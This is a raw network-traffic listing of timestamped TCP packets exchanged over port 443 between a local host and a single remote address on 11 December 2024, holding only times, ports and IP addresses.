Dec 11, 2024 12:58:49.822211981 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.822220087 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.822309971 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.822371960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.823910952 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.823921919 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.824177980 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.824223995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.824223995 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.824228048 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.824274063 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.824373960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.825891972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.825901985 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.826050043 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.826050043 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.826096058 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.826096058 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.826102972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.826194048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.826270103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827013969 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.827025890 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.827164888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827214003 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827214003 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827219963 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.827265024 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827265024 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.827366114 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.828797102 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.828811884 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.828974962 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.828974962 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.828980923 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.829025030 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.829068899 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.829168081 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.830710888 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.830720901 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.830843925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.830893040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.830893040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.830899954 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.830941916 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.830991030 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.831038952 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832456112 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.832468033 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.832592964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832643032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832643032 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832648993 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.832691908 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832787991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.832787991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834397078 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.834412098 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.834537029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834537029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834584951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834584951 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834589005 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.834634066 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.834734917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.835810900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.835824013 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.836047888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.836047888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.836052895 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.836189985 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.837460041 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.837471008 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.837668896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.837668896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.837677956 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.837719917 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.837816000 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839344025 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.839359045 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.839492083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839492083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839565039 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839576960 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.839590073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839590073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.839713097 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.841209888 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.841221094 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.841348886 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.841460943 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.841473103 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.841490984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.841595888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.842926025 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.842940092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.843101978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843101978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843126059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843126059 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843132973 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.843177080 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843272924 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.843967915 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.844029903 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.844151974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.844151974 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.844182014 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.844187021 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:49.844352961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:49.846055031 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.005348921 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.005362988 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.005542994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.005542994 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.005599976 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.005611897 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.005695105 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.005812883 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.006829977 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.006843090 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.007025957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.007025957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.007050037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.007050037 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.007057905 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.007173061 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.007289886 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.008634090 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.008644104 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.008836031 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.008836031 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.008836031 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.008851051 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.008924961 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009025097 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009666920 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.009679079 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.009819984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009819984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009913921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009913921 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.009922981 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.010158062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.011516094 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.011526108 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.011728048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.011728048 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.011743069 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.011749983 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.011826992 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.011926889 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.013289928 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.013302088 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.013457060 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.013508081 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.013508081 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.013514996 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.013612986 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.013678074 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.014736891 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.014756918 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.014890909 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.014890909 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.014971018 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.014982939 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.014990091 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.015150070 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.015614986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.015626907 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.015856028 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.015856028 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.015868902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.015955925 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.016050100 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.017445087 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.017457008 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.017605066 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.017652988 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.017702103 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.017709017 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.017750978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.017872095 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.019269943 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.019280910 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.019459009 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.019459009 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.019478083 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.019485950 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.019553900 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.019669056 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.020596981 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.020606995 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.020756960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.020756960 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.020850897 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.020857096 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.020900011 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.021013021 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.021667004 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.021677971 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.021816015 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.021869898 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.021869898 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.021876097 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.021965981 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.022027016 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.023570061 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.023581028 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.023746014 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.023799896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.023799896 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.023813009 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.023871899 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.024039984 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025199890 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.025211096 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.025384903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025384903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025403976 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025410891 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.025482893 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025531054 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.025599957 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.026747942 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.026758909 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.026918888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.026918888 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.026993036 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.027004957 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.027012110 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.027174950 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.027631044 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.027641058 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.027879953 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.027892113 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.027914047 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.028084040 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.029577017 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.029587030 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.029736042 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.029808998 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.029814959 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.029853106 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.029967070 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031179905 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.031191111 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.031363964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031363964 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031383991 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031392097 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.031457901 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031523943 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.031584978 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.031596899 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.031712055 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.033098936 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.033111095 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.033298016 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.033298016 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.033405066 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.033416986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.033423901 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.034913063 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.034926891 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.035129070 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.035135984 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.035228014 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.036228895 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.036240101 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.036405087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.036417961 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.036442041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.036442041 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.036540985 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.037270069 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.037281990 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.037480116 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.037494898 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.037501097 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.037549019 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.039150953 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.039165020 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.039302111 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.039309025 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.039385080 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.039452076 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.040992022 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.041001081 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.041179895 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.041197062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.041197062 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.041205883 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.041276932 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.041332006 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.042020082 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.042032957 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.042191029 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.042202950 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.042243004 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.042306900 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.043812037 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.043823004 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.044034004 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.044034004 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.044039965 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.044130087 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.045069933 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.045082092 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.045231104 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.045231104 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.045238972 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.045329094 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.045428038 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.046883106 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.046892881 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.047051907 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.047154903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.047162056 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.047975063 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.047987938 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.048167944 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.048180103 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.048193932 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.048263073 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.049820900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.049830914 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.050026894 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.050034046 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.050103903 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.051472902 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.051492929 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.051651955 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.051664114 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.051691055 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.051755905 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.052973986 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.052980900 CET	443	49757	104.21.1.51	192.168.11.20
Dec 11, 2024 12:58:50.053211927 CET	49757	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:58:50.053212881 CET	49757	443	192.168.11.20	104.21.1.51
